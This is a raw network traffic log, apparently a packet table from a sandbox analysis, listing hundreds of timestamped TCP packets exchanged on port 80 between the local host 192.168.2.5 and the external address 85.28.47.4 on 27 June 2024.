Jun 27, 2024 19:25:54.976139069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.979618073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.979629040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.979639053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.979650974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.979662895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.979676962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.979686022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.979688883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.979711056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.979760885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.979772091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.979782104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.979796886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.979820967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.979820967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.979826927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.979842901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.979855061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.979866982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.979873896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.979892015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.979922056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.980046988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.980058908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.980071068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.980082035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.980092049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.980096102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.980130911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.980130911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.980151892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.980165005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.980174065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.980186939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.980196953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.980196953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.980211020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.980217934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.980222940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.980242968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.980243921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.980263948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.980289936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.980289936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.982954025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.983010054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.983093023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.983107090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.983117104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.983128071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.983136892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.983139038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.983160019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.983190060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985327005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985364914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985375881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985380888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985399008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985413074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985444069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985451937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985464096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985475063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985506058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985506058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985584021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985595942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985606909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985629082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985663891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985692978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985707045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985717058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985728025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985738039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985739946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985752106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985755920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985779047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985804081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985821009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985832930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985846043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985862017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985872984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985872984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985902071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985902071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985924006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985937119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985946894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985955954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985968113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985972881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.985979080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.985995054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.986012936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.986182928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986195087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986205101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986216068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986227036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986243010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.986243010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.986284018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.986331940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986341953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986351013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986356020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986381054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.986408949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.986495972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986509085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986521006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986532927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986541986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986547947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.986553907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986566067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986571074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.986578941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986591101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986598015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.986598015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.986607075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986618996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986625910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.986624956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.986660957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.986701965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.986989021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.987004995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.987015963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.987025023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.987035990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.987040997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.987047911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.987060070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.987063885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.987068892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.987083912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.987109900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.987128973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.051384926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.051424980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.051436901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.051450014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.051453114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.051456928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.051503897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.051503897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.051515102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.051528931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.051529884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.051541090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.051557064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.051574945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.063276052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.063329935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.063333035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.063347101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.063389063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.063390017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.063433886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.063445091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.063457012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.063478947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.063503027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.063519955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.063565016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.063585043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.063595057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.063605070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.063615084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.063625097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.063627958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.063635111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.063654900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.063654900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.063688040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.063715935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.063735008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.063760042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.063791990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.067452908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067462921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067471981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067492008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067502022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067528963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.067528963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.067549944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067558050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.067563057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067590952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.067609072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067609072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.067620039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067661047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.067661047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.067863941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067872047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067910910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.067929029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067933083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.067940950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067950964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067960978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067972898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067982912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.067985058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.067985058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.068010092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.068031073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.068278074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.068324089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.068334103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.068346024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.068387985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.068387985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.068413973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.068424940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.068451881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.068499088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.068506002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.068510056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.068521023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.068531036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.068552971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.068555117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.068555117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.068574905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.068592072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.068639040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.068649054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.068658113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.068666935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.068691015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.068691015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.068725109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.071269989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.071279049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.071289062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.071322918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.071322918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.071337938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.071348906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.071358919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.071369886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.071381092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.071394920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.071399927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.071417093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.071443081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.071991920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072048903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.072055101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072063923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072099924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.072160959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.072169065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072180986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072190046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072201967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072223902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.072257042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.072588921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072643042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072643995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.072654009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072691917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.072691917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.072711945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072721958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072731972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072757006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072758913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.072781086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.072782993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072794914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072801113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.072832108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.072832108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.072880030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072890997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072905064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072915077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.072926044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.072959900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.072961092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073055029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073064089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073074102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073085070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073095083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073098898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073105097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073120117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073164940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073290110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073301077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073309898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073321104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073332071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073343039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073353052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073357105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073358059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073364973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073376894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073385954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073396921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073400021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073400021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073458910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073458910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073508024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073549986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073582888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073605061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073616982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073626995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073631048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073652029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073683023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073807001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073817968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073827982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073854923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073888063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073898077 CEST	80	49705	85.28.47.4	192.168.2.5
